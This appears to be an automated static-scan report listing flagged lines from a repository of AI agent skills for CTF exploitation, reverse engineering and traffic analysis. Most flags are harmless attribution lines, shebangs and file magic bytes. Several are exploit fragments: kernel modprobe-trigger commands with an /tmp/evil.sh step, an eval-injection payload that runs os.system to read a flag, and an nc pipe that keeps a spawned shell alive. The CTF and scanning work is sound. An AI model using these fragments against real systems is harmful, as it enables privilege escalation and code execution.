    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

pwn-exploit/references/kernel-bypass.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
  • Possible obfuscationline 342
    # Trigger: echo -ne '\xff\xff\xff\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x

pwn-exploit/references/kernel-techniques.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

pwn-exploit/references/kernel.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
  • Dangerous shell operationline 411
    echo 'chmod 777 /tmp/output' >> /tmp/evil.sh
  • Possible obfuscationline 417
    echo -ne '\xff\xff\xff\xff' > /tmp/trigger
  • Possible obfuscationline 455
    echo -ne '\xff\xff\xff\xff' > /tmp/nirugiri && chmod +x /tmp/nirugiri && /tmp/nirugiri

pwn-exploit/references/overflow-basics.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
  • Possible obfuscationline 336
    magic = b'\x00\x01\x02\x03'

pwn-exploit/references/rop-advanced.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
  • Network accessline 711
    # Keep the process alive after the shell spawns by piping stdin: # (python -c "..."; cat) | nc pwn.tamuctf.com 4325
  • Network accessline 712
    # (python -c "..."; cat) | nc pwn.tamuctf.com 4325

pwn-exploit/references/rop-and-shellcode.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
  • Possible obfuscationline 76
    # Output: "Laundry complete\x50\x5e\x2c\x7e\x56\x7f\n"
  • Network accessline 626
    **Pattern (easy-shell):** RWX page receives attacker shellcode but every byte must be alphanumeric (`[0-9A-Za-z]`). Tools like [basic-amd64-alphanumeric-shellcode-encoder](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-enc

pwn-exploit/references/sandbox-escape.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
  • Dangerous shell operationline 222
    **Pattern:** Custom CPU emulator's print function uses `eval('"' + string_buffer + '"')` to process escape sequences in the output. Build a string in emulator memory character-by-character using ADD opcodes, then inject: `"+__import__("os")
  • Dangerous shell operationline 226
    2. The PRINT opcode reads a string from emulator memory and passes it to `eval('"' + s + '"')` to handle escape sequences like `\n`, `\t`
  • Dangerous shell operationline 250
    # Trigger PRINT opcode -> eval('"' + injection + '"')
  • Dangerous shell operationline 251
    # eval becomes: eval('""+__import__("os").system("cat /flag")#"')
  • Dangerous shell operationline 260
    **Key insight:** When an emulator or interpreter uses `eval()` to process string output (e.g., for escape sequences), inject a quote to close the string literal, then chain arbitrary Python code. The `#` comment character truncates any trai

pwn-exploit/scripts/fmtstr_payload_suite.py

  • Executable scriptline 1
    #!/usr/bin/env python3

pwn-exploit/scripts/pwn_triage.py

  • Executable scriptline 1
    #!/usr/bin/env python3

pwn-exploit/scripts/ret2libc_two_stage.py

  • Executable scriptline 1
    #!/usr/bin/env python3

pwn-exploit/scripts/seccomp_orw_generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

pwn-exploit/scripts/shellcraft_asm.py

  • Executable scriptline 1
    #!/usr/bin/env python3

pwn-exploit/scripts/srop_execve.py

  • Executable scriptline 1
    #!/usr/bin/env python3

re-dynamic/references/js-antidebug.md

  • Possible obfuscationline 24
    # atob("...") 字面量同理:base64.b64decode

re-dynamic/references/js-env-rebuild.md

  • Network accessline 34
    var localStorage = { _d:{}, getItem(k){return this._d[k]??null},                      setItem(k,v){this._d[k]=String(v)}, removeItem(k){delete this._d[k]} }; var location = { href: "https://target.example/page", host: "target.example", prot
  • Network accessline 35
    setItem(k,v){this._d[k]=String(v)}, removeItem(k){delete this._d[k]} }; var location = { href: "https://target.example/page", host: "target.example", protocol: "https:" }; var screen = { width: 1920, height: 1080, colorDepth: 24 };
  • Network accessline 36
    var location = { href: "https://target.example/page", host: "target.example", protocol: "https:" };

re-dynamic/scripts/frida_time_hook.py

  • Executable scriptline 1
    #!/usr/bin/env python

re-dynamic/scripts/oracle.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Access to secretsline 267
    [Credential-related source omitted]
  • Dangerous shell operationline 289
    exec(WORKER)

re-dynamic/scripts/win_gui_drive.py

  • Executable scriptline 1
    #!/usr/bin/env python

re-triage/references/firmware.md

  • Possible obfuscationline 29
    b"\x28\xb5\x2f\xfd":"zstd", b"\x27\x05\x19\x56":"uImage"}

re-triage/references/pyc-bytecode.md

  • Network accessline 42
    - 这两个包没有 `__main__`,**不能 `python -m`**,必须走 venv 的 console script(上表路径)。 - `-o` 语义坑:decompyle3 要求 `-o` 目标目录**已存在**,先 `mkdir -p out_dir`。 - pycdc 输出到 stdout,自行重定向存盘;未装时在线 https://pylingual.io 可临时兜底(注意样本敏感性,涉毒不上传)。
  • Network accessline 43
    - `-o` 语义坑:decompyle3 要求 `-o` 目标目录**已存在**,先 `mkdir -p out_dir`。 - pycdc 输出到 stdout,自行重定向存盘;未装时在线 https://pylingual.io 可临时兜底(注意样本敏感性,涉毒不上传)。 - pycdc 对 3.11/3.12 新语法可能**静默丢语句**(控制流缺一块而无报错)——拿到结果先扫是否逻辑完整,残缺即按铁律 11 用 dis 直读对照(§4)。
  • Network accessline 44
    - pycdc 输出到 stdout,自行重定向存盘;未装时在线 https://pylingual.io 可临时兜底(注意样本敏感性,涉毒不上传)。

re-unpack/SKILL.md

  • Possible obfuscationline 49
    | PyInstaller(打包而非壳) | `MEI\x0c\x0b\x0a\x0b\x0e` cookie、PYZ 归档 | `python "$RUP/pyinstaller_extract.py" <sample>`(识别版本 → pyinstxtractor 解包 → 按 pyc magic 自动选 uncompyle6/decompyle3/pycdc);`--check` 只分诊 |

re-unpack/scripts/pyinstaller_extract.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Possible obfuscationline 66
    PYINST_MAGIC = b"MEI\x0c\x0b\x0a\x0b\x0e"
  • Network accessline 292
    rec["hint"] = ("pycdc 未安装:Windows 侧放 ~/Desktop/src/tools/pycdc/pycdc.exe,"                            "或 WSL 源码构建 Decompyle++(cmake+g++,本脚本自动探测);"                            "也可在线 https://pylingual.io 兜底")
  • Network accessline 293
    "或 WSL 源码构建 Decompyle++(cmake+g++,本脚本自动探测);"                            "也可在线 https://pylingual.io 兜底")     return rec
  • Network accessline 294
    "也可在线 https://pylingual.io 兜底")

re-unpack/scripts/upx_repair.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Access to secretsline 126
    [Credential-related source omitted]

traffic-analysis/references/tunnels.md

  • Possible obfuscationline 75
    encoded = ''.join(b64[p.flags & 0x3F] ...); base64.b64decode(encoded)

traffic-analysis/references/wifi-tls.md

  • Access to secretsline 57
    [Credential-related source omitted]

traffic-analysis/scripts/conflict_oracle.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Dangerous shell operationline 193
    k = eval(key_expr, eval_namespace(p))  # noqa: S307 - 受限名字空间
  • Dangerous shell operationline 215
    return eval(key_expr, eval_namespace(p))  # noqa: S307 - 受限名字空间

traffic-analysis/scripts/decode_engine.py

  • Executable scriptline 1
    #!/usr/bin/env python

traffic-analysis/scripts/dnscat2_reassemble.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Possible obfuscationline 25
    (b"\x89PNG\r\n\x1a\n", "PNG"), (b"PK\x03\x04", "ZIP"), (b"7z\xbc\xaf\x27\x1c", "7z"),

traffic-analysis/scripts/hid_keyboard.py

  • Executable scriptline 1
    #!/usr/bin/env python

traffic-analysis/scripts/mouse_render.py

  • Executable scriptline 1
    #!/usr/bin/env python

traffic-analysis/scripts/pcap_triage.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Possible obfuscationline 24
    b"\xd4\xc3\xb2\xa1": ("<", 1_000_000),      # LE, us
  • Possible obfuscationline 25
    b"\xa1\xb2\xc3\xd4": (">", 1_000_000),      # BE, us
  • Possible obfuscationline 26
    b"\x4d\x3c\xb2\xa1": ("<", 1_000_000_000),  # LE, ns
  • Possible obfuscationline 27
    b"\xa1\xb2\x3c\x4d": (">", 1_000_000_000),  # BE, ns
  • Possible obfuscationline 29
    PCAPNG_MAGIC = b"\x0a\x0d\x0d\x0a"
  • Possible obfuscationline 177
    if b"\xaa\xaa\x03\x00\x00\x00\x88\x8e" in pkt:  # LLC SNAP EAPOL 启发式

traffic-analysis/scripts/timing_decode.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Possible obfuscationline 29
    b"\xd4\xc3\xb2\xa1": ("<", 1_000_000), b"\xa1\xb2\xc3\xd4": (">", 1_000_000),
  • Possible obfuscationline 30
    b"\x4d\x3c\xb2\xa1": ("<", 1_000_000_000), b"\xa1\xb2\x3c\x4d": (">", 1_000_000_000),
  • Possible obfuscationline 43
    if data[:4] == b"\x0a\x0d\x0d\x0a":

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Declared and executed: 2 facts
Signal confidence: 279 facts

and 229 more

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeCompatibleStandard SKILL.md android-re/SKILL.md.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md android-re/SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md android-re/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md android-re/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md android-re/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md android-re/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.